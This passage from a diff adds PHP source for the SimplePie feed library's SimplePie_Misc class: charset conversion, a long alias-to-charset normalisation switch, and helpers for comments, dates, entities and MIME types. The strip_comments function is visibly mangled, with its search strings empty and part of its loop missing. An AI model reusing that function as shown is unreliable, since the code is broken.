"\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF"); + + return strtr($string, $convert_table); + } + + function change_encoding($data, $input, $output) + { + $input = SimplePie_Misc::encoding($input); + $output = SimplePie_Misc::encoding($output); + + // We fail to fail on non US-ASCII bytes + if ($input === 'US-ASCII') + { + static $non_ascii_octects = ''; + if (!$non_ascii_octects) + { + for ($i = 0x80; $i <= 0xFF; $i++) + { + $non_ascii_octects .= chr($i); + } + } + $data = substr($data, 0, strcspn($data, $non_ascii_octects)); + } + + // This is first, as behaviour of this is completely predictable + if ($input === 'windows-1252' && $output === 'UTF-8') + { + return SimplePie_Misc::windows_1252_to_utf8($data); + } + // This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported). + elseif (function_exists('mb_convert_encoding') && @mb_convert_encoding("\x80", 'UTF-16BE', $input) !== "\x00\x80" && ($return = @mb_convert_encoding($data, $output, $input))) + { + return $return; + } + // This is last, as behaviour of this varies with OS userland and PHP version + elseif (function_exists('iconv') && ($return = @iconv($input, $output, $data))) + { + return $return; + } + // If we can't do anything, just fail + else + { + return false; + } + } + + function encoding($charset) + { + // Normalization from UTS #22 + switch (strtolower(preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset))) + { + case 'adobestandardencoding': + case 'csadobestandardencoding': + return 'Adobe-Standard-Encoding'; + + case 'adobesymbolencoding': + case 'cshppsmath': + return 'Adobe-Symbol-Encoding'; + + case 'ami1251': + case 'amiga1251': + return 'Amiga-1251'; + + case 'ansix31101983': + case 'csat5001983': + case 'csiso99naplps': + case 'isoir99': + case 'naplps': + return 'ANSI_X3.110-1983'; + + case 'arabic7': + case 'asmo449': + case 'csiso89asmo449': + case 'iso9036': + case 'isoir89': + return 'ASMO_449'; + + case 'big5': + case 'csbig5': + case 'xxbig5': + return 'Big5'; + + case 'big5hkscs': + return 'Big5-HKSCS'; + + case 'bocu1': + case 'csbocu1': + return 'BOCU-1'; + + case 'brf': + case 'csbrf': + return 'BRF'; + + case 'bs4730': + case 'csiso4unitedkingdom': + case 'gb': + case 'iso646gb': + case 'isoir4': + case 'uk': + return 'BS_4730'; + + case 'bsviewdata': + case 'csiso47bsviewdata': + case 'isoir47': + return 'BS_viewdata'; + + case 'cesu8': + case 'cscesu8': + return 'CESU-8'; + + case 'ca': + case 'csa71': + case 'csaz243419851': + case 'csiso121canadian1': + case 'iso646ca': + case 'isoir121': + return 'CSA_Z243.4-1985-1'; + + case 'csa72': + case 'csaz243419852': + case 'csiso122canadian2': + case 'iso646ca2': + case 'isoir122': + return 'CSA_Z243.4-1985-2'; + + case 'csaz24341985gr': + case 'csiso123csaz24341985gr': + case 'isoir123': + return 'CSA_Z243.4-1985-gr'; + + case 'csiso139csn369103': + case 'csn369103': + case 'isoir139': + return 'CSN_369103'; + + case 'csdecmcs': + case 'dec': + case 'decmcs': + return 'DEC-MCS'; + + case 'csiso21german': + case 'de': + case 'din66003': + case 'iso646de': + case 'isoir21': + return 'DIN_66003'; + + case 'csdkus': + case 'dkus': + return 'dk-us'; + + case 'csiso646danish': + case 'dk': + case 'ds2089': + case 'iso646dk': + return 'DS_2089'; + + case 'csibmebcdicatde': + case 'ebcdicatde': + return 'EBCDIC-AT-DE'; + + case 'csebcdicatdea': + case 'ebcdicatdea': + return 'EBCDIC-AT-DE-A'; + + case 'csebcdiccafr': + case 'ebcdiccafr': + return 'EBCDIC-CA-FR'; + + case 'csebcdicdkno': + case 'ebcdicdkno': + return 'EBCDIC-DK-NO'; + + case 'csebcdicdknoa': + case 'ebcdicdknoa': + return 'EBCDIC-DK-NO-A'; + + case 'csebcdices': + case 'ebcdices': + return 'EBCDIC-ES'; + + case 'csebcdicesa': + case 'ebcdicesa': + return 'EBCDIC-ES-A'; + + case 'csebcdicess': + case 'ebcdicess': + return 'EBCDIC-ES-S'; + + case 'csebcdicfise': + case 'ebcdicfise': + return 'EBCDIC-FI-SE'; + + case 'csebcdicfisea': + case 'ebcdicfisea': + return 'EBCDIC-FI-SE-A'; + + case 'csebcdicfr': + case 'ebcdicfr': + return 'EBCDIC-FR'; + + case 'csebcdicit': + case 'ebcdicit': + return 'EBCDIC-IT'; + + case 'csebcdicpt': + case 'ebcdicpt': + return 'EBCDIC-PT'; + + case 'csebcdicuk': + case 'ebcdicuk': + return 'EBCDIC-UK'; + + case 'csebcdicus': + case 'ebcdicus': + return 'EBCDIC-US'; + + case 'csiso111ecmacyrillic': + case 'ecmacyrillic': + case 'isoir111': + case 'koi8e': + return 'ECMA-cyrillic'; + + case 'csiso17spanish': + case 'es': + case 'iso646es': + case 'isoir17': + return 'ES'; + + case 'csiso85spanish2': + case 'es2': + case 'iso646es2': + case 'isoir85': + return 'ES2'; + + case 'cseucfixwidjapanese': + case 'extendedunixcodefixedwidthforjapanese': + return 'Extended_UNIX_Code_Fixed_Width_for_Japanese'; + + case 'cseucpkdfmtjapanese': + case 'eucjp': + case 'extendedunixcodepackedformatforjapanese': + return 'Extended_UNIX_Code_Packed_Format_for_Japanese'; + + case 'gb18030': + return 'GB18030'; + + case 'chinese': + case 'cp936': + case 'csgb2312': + case 'csiso58gb231280': + case 'gb2312': + case 'gb231280': + case 'gbk': + case 'isoir58': + case 'ms936': + case 'windows936': + return 'GBK'; + + case 'cn': + case 'csiso57gb1988': + case 'gb198880': + case 'iso646cn': + case 'isoir57': + return 'GB_1988-80'; + + case 'csiso153gost1976874': + case 'gost1976874': + case 'isoir153': + case 'stsev35888': + return 'GOST_19768-74'; + + case 'csiso150': + case 'csiso150greekccitt': + case 'greekccitt': + case 'isoir150': + return 'greek-ccitt'; + + case 'csiso88greek7': + case 'greek7': + case 'isoir88': + return 'greek7'; + + case 'csiso18greek7old': + case 'greek7old': + case 'isoir18': + return 'greek7-old'; + + case 'cshpdesktop': + case 'hpdesktop': + return 'HP-DeskTop'; + + case 'cshplegal': + case 'hplegal': + return 'HP-Legal'; + + case 'cshpmath8': + case 'hpmath8': + return 'HP-Math8'; + + case 'cshppifont': + case 'hppifont': + return 'HP-Pi-font'; + + case 'cshproman8': + case 'hproman8': + case 'r8': + case 'roman8': + return 'hp-roman8'; + + case 'hzgb2312': + return 'HZ-GB-2312'; + + case 'csibmsymbols': + case 'ibmsymbols': + return 'IBM-Symbols'; + + case 'csibmthai': + case 'ibmthai': + return 'IBM-Thai'; + + case 'ccsid858': + case 'cp858': + case 'ibm858': + case 'pcmultilingual850euro': + return 'IBM00858'; + + case 'ccsid924': + case 'cp924': + case 'ebcdiclatin9euro': + case 'ibm924': + return 'IBM00924'; + + case 'ccsid1140': + case 'cp1140': + case 'ebcdicus37euro': + case 'ibm1140': + return 'IBM01140'; + + case 'ccsid1141': + case 'cp1141': + case 'ebcdicde273euro': + case 'ibm1141': + return 'IBM01141'; + + case 'ccsid1142': + case 'cp1142': + case 'ebcdicdk277euro': + case 'ebcdicno277euro': + case 'ibm1142': + return 'IBM01142'; + + case 'ccsid1143': + case 'cp1143': + case 'ebcdicfi278euro': + case 'ebcdicse278euro': + case 'ibm1143': + return 'IBM01143'; + + case 'ccsid1144': + case 'cp1144': + case 'ebcdicit280euro': + case 'ibm1144': + return 'IBM01144'; + + case 'ccsid1145': + case 'cp1145': + case 'ebcdices284euro': + case 'ibm1145': + return 'IBM01145'; + + case 'ccsid1146': + case 'cp1146': + case 'ebcdicgb285euro': + case 'ibm1146': + return 'IBM01146'; + + case 'ccsid1147': + case 'cp1147': + case 'ebcdicfr297euro': + case 'ibm1147': + return 'IBM01147'; + + case 'ccsid1148': + case 'cp1148': + case 'ebcdicinternational500euro': + case 'ibm1148': + return 'IBM01148'; + + case 'ccsid1149': + case 'cp1149': + case 'ebcdicis871euro': + case 'ibm1149': + return 'IBM01149'; + + case 'cp37': + case 'csibm37': + case 'ebcdiccpca': + case 'ebcdiccpnl': + case 'ebcdiccpus': + case 'ebcdiccpwt': + case 'ibm37': + return 'IBM037'; + + case 'cp38': + case 'csibm38': + case 'ebcdicint': + case 'ibm38': + return 'IBM038'; + + case 'cp273': + case 'csibm273': + case 'ibm273': + return 'IBM273'; + + case 'cp274': + case 'csibm274': + case 'ebcdicbe': + case 'ibm274': + return 'IBM274'; + + case 'cp275': + case 'csibm275': + case 'ebcdicbr': + case 'ibm275': + return 'IBM275'; + + case 'csibm277': + case 'ebcdiccpdk': + case 'ebcdiccpno': + case 'ibm277': + return 'IBM277'; + + case 'cp278': + case 'csibm278': + case 'ebcdiccpfi': + case 'ebcdiccpse': + case 'ibm278': + return 'IBM278'; + + case 'cp280': + case 'csibm280': + case 'ebcdiccpit': + case 'ibm280': + return 'IBM280'; + + case 'cp281': + case 'csibm281': + case 'ebcdicjpe': + case 'ibm281': + return 'IBM281'; + + case 'cp284': + case 'csibm284': + case 'ebcdiccpes': + case 'ibm284': + return 'IBM284'; + + case 'cp285': + case 'csibm285': + case 'ebcdiccpgb': + case 'ibm285': + return 'IBM285'; + + case 'cp290': + case 'csibm290': + case 'ebcdicjpkana': + case 'ibm290': + return 'IBM290'; + + case 'cp297': + case 'csibm297': + case 'ebcdiccpfr': + case 'ibm297': + return 'IBM297'; + + case 'cp420': + case 'csibm420': + case 'ebcdiccpar1': + case 'ibm420': + return 'IBM420'; + + case 'cp423': + case 'csibm423': + case 'ebcdiccpgr': + case 'ibm423': + return 'IBM423'; + + case 'cp424': + case 'csibm424': + case 'ebcdiccphe': + case 'ibm424': + return 'IBM424'; + + case '437': + case 'cp437': + case 'cspc8codepage437': + case 'ibm437': + return 'IBM437'; + + case 'cp500': + case 'csibm500': + case 'ebcdiccpbe': + case 'ebcdiccpch': + case 'ibm500': + return 'IBM500'; + + case 'cp775': + case 'cspc775baltic': + case 'ibm775': + return 'IBM775'; + + case '850': + case 'cp850': + case 'cspc850multilingual': + case 'ibm850': + return 'IBM850'; + + case '851': + case 'cp851': + case 'csibm851': + case 'ibm851': + return 'IBM851'; + + case '852': + case 'cp852': + case 'cspcp852': + case 'ibm852': + return 'IBM852'; + + case '855': + case 'cp855': + case 'csibm855': + case 'ibm855': + return 'IBM855'; + + case '857': + case 'cp857': + case 'csibm857': + case 'ibm857': + return 'IBM857'; + + case '860': + case 'cp860': + case 'csibm860': + case 'ibm860': + return 'IBM860'; + + case '861': + case 'cp861': + case 'cpis': + case 'csibm861': + case 'ibm861': + return 'IBM861'; + + case '862': + case 'cp862': + case 'cspc862latinhebrew': + case 'ibm862': + return 'IBM862'; + + case '863': + case 'cp863': + case 'csibm863': + case 'ibm863': + return 'IBM863'; + + case 'cp864': + case 'csibm864': + case 'ibm864': + return 'IBM864'; + + case '865': + case 'cp865': + case 'csibm865': + case 'ibm865': + return 'IBM865'; + + case '866': + case 'cp866': + case 'csibm866': + case 'ibm866': + return 'IBM866'; + + case 'cp868': + case 'cpar': + case 'csibm868': + case 'ibm868': + return 'IBM868'; + + case '869': + case 'cp869': + case 'cpgr': + case 'csibm869': + case 'ibm869': + return 'IBM869'; + + case 'cp870': + case 'csibm870': + case 'ebcdiccproece': + case 'ebcdiccpyu': + case 'ibm870': + return 'IBM870'; + + case 'cp871': + case 'csibm871': + case 'ebcdiccpis': + case 'ibm871': + return 'IBM871'; + + case 'cp880': + case 'csibm880': + case 'ebcdiccyrillic': + case 'ibm880': + return 'IBM880'; + + case 'cp891': + case 'csibm891': + case 'ibm891': + return 'IBM891'; + + case 'cp903': + case 'csibm903': + case 'ibm903': + return 'IBM903'; + + case '904': + case 'cp904': + case 'csibbm904': + case 'ibm904': + return 'IBM904'; + + case 'cp905': + case 'csibm905': + case 'ebcdiccptr': + case 'ibm905': + return 'IBM905'; + + case 'cp918': + case 'csibm918': + case 'ebcdiccpar2': + case 'ibm918': + return 'IBM918'; + + case 'cp1026': + case 'csibm1026': + case 'ibm1026': + return 'IBM1026'; + + case 'ibm1047': + return 'IBM1047'; + + case 'csiso143iecp271': + case 'iecp271': + case 'isoir143': + return 'IEC_P27-1'; + + case 'csiso49inis': + case 'inis': + case 'isoir49': + return 'INIS'; + + case 'csiso50inis8': + case 'inis8': + case 'isoir50': + return 'INIS-8'; + + case 'csiso51iniscyrillic': + case 'iniscyrillic': + case 'isoir51': + return 'INIS-cyrillic'; + + case 'csinvariant': + case 'invariant': + return 'INVARIANT'; + + case 'iso2022cn': + return 'ISO-2022-CN'; + + case 'iso2022cnext': + return 'ISO-2022-CN-EXT'; + + case 'csiso2022jp': + case 'iso2022jp': + return 'ISO-2022-JP'; + + case 'csiso2022jp2': + case 'iso2022jp2': + return 'ISO-2022-JP-2'; + + case 'csiso2022kr': + case 'iso2022kr': + return 'ISO-2022-KR'; + + case 'cswindows30latin1': + case 'iso88591windows30latin1': + return 'ISO-8859-1-Windows-3.0-Latin-1'; + + case 'cswindows31latin1': + case 'iso88591windows31latin1': + return 'ISO-8859-1-Windows-3.1-Latin-1'; + + case 'csisolatin2': + case 'iso88592': + case 'iso885921987': + case 'isoir101': + case 'l2': + case 'latin2': + return 'ISO-8859-2'; + + case 'cswindows31latin2': + case 'iso88592windowslatin2': + return 'ISO-8859-2-Windows-Latin-2'; + + case 'csisolatin3': + case 'iso88593': + case 'iso885931988': + case 'isoir109': + case 'l3': + case 'latin3': + return 'ISO-8859-3'; + + case 'csisolatin4': + case 'iso88594': + case 'iso885941988': + case 'isoir110': + case 'l4': + case 'latin4': + return 'ISO-8859-4'; + + case 'csisolatincyrillic': + case 'cyrillic': + case 'iso88595': + case 'iso885951988': + case 'isoir144': + return 'ISO-8859-5'; + + case 'arabic': + case 'asmo708': + case 'csisolatinarabic': + case 'ecma114': + case 'iso88596': + case 'iso885961987': + case 'isoir127': + return 'ISO-8859-6'; + + case 'csiso88596e': + case 'iso88596e': + return 'ISO-8859-6-E'; + + case 'csiso88596i': + case 'iso88596i': + return 'ISO-8859-6-I'; + + case 'csisolatingreek': + case 'ecma118': + case 'elot928': + case 'greek': + case 'greek8': + case 'iso88597': + case 'iso885971987': + case 'isoir126': + return 'ISO-8859-7'; + + case 'csisolatinhebrew': + case 'hebrew': + case 'iso88598': + case 'iso885981988': + case 'isoir138': + return 'ISO-8859-8'; + + case 'csiso88598e': + case 'iso88598e': + return 'ISO-8859-8-E'; + + case 'csiso88598i': + case 'iso88598i': + return 'ISO-8859-8-I'; + + case 'cswindows31latin5': + case 'iso88599windowslatin5': + return 'ISO-8859-9-Windows-Latin-5'; + + case 'csisolatin6': + case 'iso885910': + case 'iso8859101992': + case 'isoir157': + case 'l6': + case 'latin6': + return 'ISO-8859-10'; + + case 'iso885913': + return 'ISO-8859-13'; + + case 'iso885914': + case 'iso8859141998': + case 'isoceltic': + case 'isoir199': + case 'l8': + case 'latin8': + return 'ISO-8859-14'; + + case 'iso885915': + case 'latin9': + return 'ISO-8859-15'; + + case 'iso885916': + case 'iso8859162001': + case 'isoir226': + case 'l10': + case 'latin10': + return 'ISO-8859-16'; + + case 'iso10646j1': + return 'ISO-10646-J-1'; + + case 'csunicode': + case 'iso10646ucs2': + return 'ISO-10646-UCS-2'; + + case 'csucs4': + case 'iso10646ucs4': + return 'ISO-10646-UCS-4'; + + case 'csunicodeascii': + case 'iso10646ucsbasic': + return 'ISO-10646-UCS-Basic'; + + case 'csunicodelatin1': + case 'iso10646': + case 'iso10646unicodelatin1': + return 'ISO-10646-Unicode-Latin1'; + + case 'csiso10646utf1': + case 'iso10646utf1': + return 'ISO-10646-UTF-1'; + + case 'csiso115481': + case 'iso115481': + case 'isotr115481': + return 'ISO-11548-1'; + + case 'csiso90': + case 'isoir90': + return 'iso-ir-90'; + + case 'csunicodeibm1261': + case 'isounicodeibm1261': + return 'ISO-Unicode-IBM-1261'; + + case 'csunicodeibm1264': + case 'isounicodeibm1264': + return 'ISO-Unicode-IBM-1264'; + + case 'csunicodeibm1265': + case 'isounicodeibm1265': + return 'ISO-Unicode-IBM-1265'; + + case 'csunicodeibm1268': + case 'isounicodeibm1268': + return 'ISO-Unicode-IBM-1268'; + + case 'csunicodeibm1276': + case 'isounicodeibm1276': + return 'ISO-Unicode-IBM-1276'; + + case 'csiso646basic1983': + case 'iso646basic1983': + case 'ref': + return 'ISO_646.basic:1983'; + + case 'csiso2intlrefversion': + case 'irv': + case 'iso646irv1983': + case 'isoir2': + return 'ISO_646.irv:1983'; + + case 'csiso2033': + case 'e13b': + case 'iso20331983': + case 'isoir98': + return 'ISO_2033-1983'; + + case 'csiso5427cyrillic': + case 'iso5427': + case 'isoir37': + return 'ISO_5427'; + + case 'iso5427cyrillic1981': + case 'iso54271981': + case 'isoir54': + return 'ISO_5427:1981'; + + case 'csiso5428greek': + case 'iso54281980': + case 'isoir55': + return 'ISO_5428:1980'; + + case 'csiso6937add': + case 'iso6937225': + case 'isoir152': + return 'ISO_6937-2-25'; + + case 'csisotextcomm': + case 'iso69372add': + case 'isoir142': + return 'ISO_6937-2-add'; + + case 'csiso8859supp': + case 'iso8859supp': + case 'isoir154': + case 'latin125': + return 'ISO_8859-supp'; + + case 'csiso10367box': + case 'iso10367box': + case 'isoir155': + return 'ISO_10367-box'; + + case 'csiso15italian': + case 'iso646it': + case 'isoir15': + case 'it': + return 'IT'; + + case 'csiso13jisc6220jp': + case 'isoir13': + case 'jisc62201969': + case 'jisc62201969jp': + case 'katakana': + case 'x2017': + return 'JIS_C6220-1969-jp'; + + case 'csiso14jisc6220ro': + case 'iso646jp': + case 'isoir14': + case 'jisc62201969ro': + case 'jp': + return 'JIS_C6220-1969-ro'; + + case 'csiso42jisc62261978': + case 'isoir42': + case 'jisc62261978': + return 'JIS_C6226-1978'; + + case 'csiso87jisx208': + case 'isoir87': + case 'jisc62261983': + case 'jisx2081983': + case 'x208': + return 'JIS_C6226-1983'; + + case 'csiso91jisc62291984a': + case 'isoir91': + case 'jisc62291984a': + case 'jpocra': + return 'JIS_C6229-1984-a'; + + case 'csiso92jisc62991984b': + case 'iso646jpocrb': + case 'isoir92': + case 'jisc62291984b': + case 'jpocrb': + return 'JIS_C6229-1984-b'; + + case 'csiso93jis62291984badd': + case 'isoir93': + case 'jisc62291984badd': + case 'jpocrbadd': + return 'JIS_C6229-1984-b-add'; + + case 'csiso94jis62291984hand': + case 'isoir94': + case 'jisc62291984hand': + case 'jpocrhand': + return 'JIS_C6229-1984-hand'; + + case 'csiso95jis62291984handadd': + case 'isoir95': + case 'jisc62291984handadd': + case 'jpocrhandadd': + return 'JIS_C6229-1984-hand-add'; + + case 'csiso96jisc62291984kana': + case 'isoir96': + case 'jisc62291984kana': + return 'JIS_C6229-1984-kana'; + + case 'csjisencoding': + case 'jisencoding': + return 'JIS_Encoding'; + + case 'cshalfwidthkatakana': + case 'jisx201': + case 'x201': + return 'JIS_X0201'; + + case 'csiso159jisx2121990': + case 'isoir159': + case 'jisx2121990': + case 'x212': + return 'JIS_X0212-1990'; + + case 'csiso141jusib1002': + case 'iso646yu': + case 'isoir141': + case 'js': + case 'jusib1002': + case 'yu': + return 'JUS_I.B1.002'; + + case 'csiso147macedonian': + case 'isoir147': + case 'jusib1003mac': + case 'macedonian': + return 'JUS_I.B1.003-mac'; + + case 'csiso146serbian': + case 'isoir146': + case 'jusib1003serb': + case 'serbian': + return 'JUS_I.B1.003-serb'; + + case 'koi7switched': + return 'KOI7-switched'; + + case 'cskoi8r': + case 'koi8r': + return 'KOI8-R'; + + case 'koi8u': + return 'KOI8-U'; + + case 'csksc5636': + case 'iso646kr': + case 'ksc5636': + return 'KSC5636'; + + case 'cskz1048': + case 'kz1048': + case 'rk1048': + case 'strk10482002': + return 'KZ-1048'; + + case 'csiso19latingreek': + case 'isoir19': + case 'latingreek': + return 'latin-greek'; + + case 'csiso27latingreek1': + case 'isoir27': + case 'latingreek1': + return 'Latin-greek-1'; + + case 'csiso158lap': + case 'isoir158': + case 'lap': + case 'latinlap': + return 'latin-lap'; + + case 'csmacintosh': + case 'mac': + case 'macintosh': + return 'macintosh'; + + case 'csmicrosoftpublishing': + case 'microsoftpublishing': + return 'Microsoft-Publishing'; + + case 'csmnem': + case 'mnem': + return 'MNEM'; + + case 'csmnemonic': + case 'mnemonic': + return 'MNEMONIC'; + + case 'csiso86hungarian': + case 'hu': + case 'iso646hu': + case 'isoir86': + case 'msz77953': + return 'MSZ_7795.3'; + + case 'csnatsdano': + case 'isoir91': + case 'natsdano': + return 'NATS-DANO'; + + case 'csnatsdanoadd': + case 'isoir92': + case 'natsdanoadd': + return 'NATS-DANO-ADD'; + + case 'csnatssefi': + case 'isoir81': + case 'natssefi': + return 'NATS-SEFI'; + + case 'csnatssefiadd': + case 'isoir82': + case 'natssefiadd': + return 'NATS-SEFI-ADD'; + + case 'csiso151cuba': + case 'cuba': + case 'iso646cu': + case 'isoir151': + case 'ncnc1081': + return 'NC_NC00-10:81'; + + case 'csiso69french': + case 'fr': + case 'iso646fr': + case 'isoir69': + case 'nfz62010': + return 'NF_Z_62-010'; + + case 'csiso25french': + case 'iso646fr1': + case 'isoir25': + case 'nfz620101973': + return 'NF_Z_62-010_(1973)'; + + case 'csiso60danishnorwegian': + case 'csiso60norwegian1': + case 'iso646no': + case 'isoir60': + case 'no': + case 'ns45511': + return 'NS_4551-1'; + + case 'csiso61norwegian2': + case 'iso646no2': + case 'isoir61': + case 'no2': + case 'ns45512': + return 'NS_4551-2'; + + case 'osdebcdicdf3irv': + return 'OSD_EBCDIC_DF03_IRV'; + + case 'osdebcdicdf41': + return 'OSD_EBCDIC_DF04_1'; + + case 'osdebcdicdf415': + return 'OSD_EBCDIC_DF04_15'; + + case 'cspc8danishnorwegian': + case 'pc8danishnorwegian': + return 'PC8-Danish-Norwegian'; + + case 'cspc8turkish': + case 'pc8turkish': + return 'PC8-Turkish'; + + case 'csiso16portuguese': + case 'iso646pt': + case 'isoir16': + case 'pt': + return 'PT'; + + case 'csiso84portuguese2': + case 'iso646pt2': + case 'isoir84': + case 'pt2': + return 'PT2'; + + case 'cp154': + case 'csptcp154': + case 'cyrillicasian': + case 'pt154': + case 'ptcp154': + return 'PTCP154'; + + case 'scsu': + return 'SCSU'; + + case 'csiso10swedish': + case 'fi': + case 'iso646fi': + case 'iso646se': + case 'isoir10': + case 'se': + case 'sen850200b': + return 'SEN_850200_B'; + + case 'csiso11swedishfornames': + case 'iso646se2': + case 'isoir11': + case 'se2': + case 'sen850200c': + return 'SEN_850200_C'; + + case 'csshiftjis': + case 'mskanji': + case 'shiftjis': + return 'Shift_JIS'; + + case 'csiso102t617bit': + case 'isoir102': + case 't617bit': + return 'T.61-7bit'; + + case 'csiso103t618bit': + case 'isoir103': + case 't61': + case 't618bit': + return 'T.61-8bit'; + + case 'csiso128t101g2': + case 'isoir128': + case 't101g2': + return 'T.101-G2'; + + case 'cstscii': + case 'tscii': + return 'TSCII'; + + case 'csunicode11': + case 'unicode11': + return 'UNICODE-1-1'; + + case 'csunicode11utf7': + case 'unicode11utf7': + return 'UNICODE-1-1-UTF-7'; + + case 'csunknown8bit': + case 'unknown8bit': + return 'UNKNOWN-8BIT'; + + case 'ansix341968': + case 'ansix341986': + case 'ascii': + case 'cp367': + case 'csascii': + case 'ibm367': + case 'iso646irv1991': + case 'iso646us': + case 'isoir6': + case 'us': + case 'usascii': + return 'US-ASCII'; + + case 'csusdk': + case 'usdk': + return 'us-dk'; + + case 'utf7': + return 'UTF-7'; + + case 'utf8': + return 'UTF-8'; + + case 'utf16': + return 'UTF-16'; + + case 'utf16be': + return 'UTF-16BE'; + + case 'utf16le': + return 'UTF-16LE'; + + case 'utf32': + return 'UTF-32'; + + case 'utf32be': + return 'UTF-32BE'; + + case 'utf32le': + return 'UTF-32LE'; + + case 'csventurainternational': + case 'venturainternational': + return 'Ventura-International'; + + case 'csventuramath': + case 'venturamath': + return 'Ventura-Math'; + + case 'csventuraus': + case 'venturaus': + return 'Ventura-US'; + + case 'csiso70videotexsupp1': + case 'isoir70': + case 'videotexsuppl': + return 'videotex-suppl'; + + case 'csviqr': + case 'viqr': + return 'VIQR'; + + case 'csviscii': + case 'viscii': + return 'VISCII'; + + case 'cswindows31j': + case 'windows31j': + return 'Windows-31J'; + + case 'iso885911': + case 'tis620': + return 'windows-874'; + + case 'cseuckr': + case 'csksc56011987': + case 'euckr': + case 'isoir149': + case 'korean': + case 'ksc5601': + case 'ksc56011987': + case 'ksc56011989': + case 'windows949': + return 'windows-949'; + + case 'windows1250': + return 'windows-1250'; + + case 'windows1251': + return 'windows-1251'; + + case 'cp819': + case 'csisolatin1': + case 'ibm819': + case 'iso88591': + case 'iso885911987': + case 'isoir100': + case 'l1': + case 'latin1': + case 'windows1252': + return 'windows-1252'; + + case 'windows1253': + return 'windows-1253'; + + case 'csisolatin5': + case 'iso88599': + case 'iso885991989': + case 'isoir148': + case 'l5': + case 'latin5': + case 'windows1254': + return 'windows-1254'; + + case 'windows1255': + return 'windows-1255'; + + case 'windows1256': + return 'windows-1256'; + + case 'windows1257': + return 'windows-1257'; + + case 'windows1258': + return 'windows-1258'; + + default: + return $charset; + } + } + + function get_curl_version() + { + if (is_array($curl = curl_version())) + { + $curl = $curl['version']; + } + elseif (substr($curl, 0, 5) === 'curl/') + { + $curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5)); + } + elseif (substr($curl, 0, 8) === 'libcurl/') + { + $curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8)); + } + else + { + $curl = 0; + } + return $curl; + } + + function is_subclass_of($class1, $class2) + { + if (func_num_args() !== 2) + { + trigger_error('Wrong parameter count for SimplePie_Misc::is_subclass_of()', E_USER_WARNING); + } + elseif (version_compare(PHP_VERSION, '5.0.3', '>=') || is_object($class1)) + { + return is_subclass_of($class1, $class2); + } + elseif (is_string($class1) && is_string($class2)) + { + if (class_exists($class1)) + { + if (class_exists($class2)) + { + $class2 = strtolower($class2); + while ($class1 = strtolower(get_parent_class($class1))) + { + if ($class1 === $class2) + { + return true; + } + } + } + } + else + { + trigger_error('Unknown class passed as parameter', E_USER_WARNNG); + } + } + return false; + } + + /** + * Strip HTML comments + * + * @access public + * @param string $data Data to strip comments from + * @return string Comment stripped string + */ + function strip_comments($data) + { + $output = ''; + while (($start = strpos($data, '', $start)) !== false) + { + $data = substr_replace($data, '', 0, $end + 3); + } + else + { + $data = ''; + } + } + return $output . $data; + } + + function parse_date($dt) + { + $parser = SimplePie_Parse_Date::get(); + return $parser->parse($dt); + } + + /** + * Decode HTML entities + * + * @static + * @access public + * @param string $data Input data + * @return string Output data + */ + function entities_decode($data) + { + $decoder =& new SimplePie_Decode_HTML_Entities($data); + return $decoder->parse(); + } + + /** + * Remove RFC822 comments + * + * @access public + * @param string $data Data to strip comments from + * @return string Comment stripped string + */ + function uncomment_rfc822($string) + { + $string = (string) $string; + $position = 0; + $length = strlen($string); + $depth = 0; + + $output = ''; + + while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) + { + $output .= substr($string, $position, $pos - $position); + $position = $pos + 1; + if ($string[$pos - 1] !== '\\') + { + $depth++; + while ($depth && $position < $length) + { + $position += strcspn($string, '()', $position); + if ($string[$position - 1] === '\\') + { + $position++; + continue; + } + elseif (isset($string[$position])) + { + switch ($string[$position]) + { + case '(': + $depth++; + break; + + case ')': + $depth--; + break; + } + $position++; + } + else + { + break; + } + } + } + else + { + $output .= '('; + } + } + $output .= substr($string, $position); + + return $output; + } + + function parse_mime($mime) + { + if (($pos = strpos($mime, ';')) === false) + { + return trim($mime); + } + else + { + return trim(substr($mime, 0, $pos)); + } + } + + function htmlspecialchars_decode($string, $quote_style) + { + if (function_exists('htmlspecialchars_decode')) + { + return htmlspecialchars_decode($string, $quote_style); + } + else + { + return strtr($string, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style))); + } + } + + function atom_03_construct_type($attribs) + { + if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode']) === 'base64')) + { + $mode = SIMPLEPIE_CONSTRUCT_BASE64; + } + else + { + $mode = SIMPLEPIE_CONSTRUCT_NONE; + } + if (isset($attribs['']['type'])) + { + switch (strtolower(trim($attribs['']['type']))) + { + case 'text': + case 'text/plain': + return SIMPLEPIE_CONSTRUCT_TEXT | $mode; + + case 'html': + case 'text/html': + return SIMPLEPIE_CONSTRUCT_HTML | $mode; + + case 'xhtml': + case 'application/xhtml+xml': + return SIMPLEPIE_CONSTRUCT_XHTML | $mode; + + default: + return SIMPLEPIE_CONSTRUCT_NONE | $mode; + } + } + else + { + return SIMPLEPIE_CONSTRUCT_TEXT | $mode; + } + } + + function 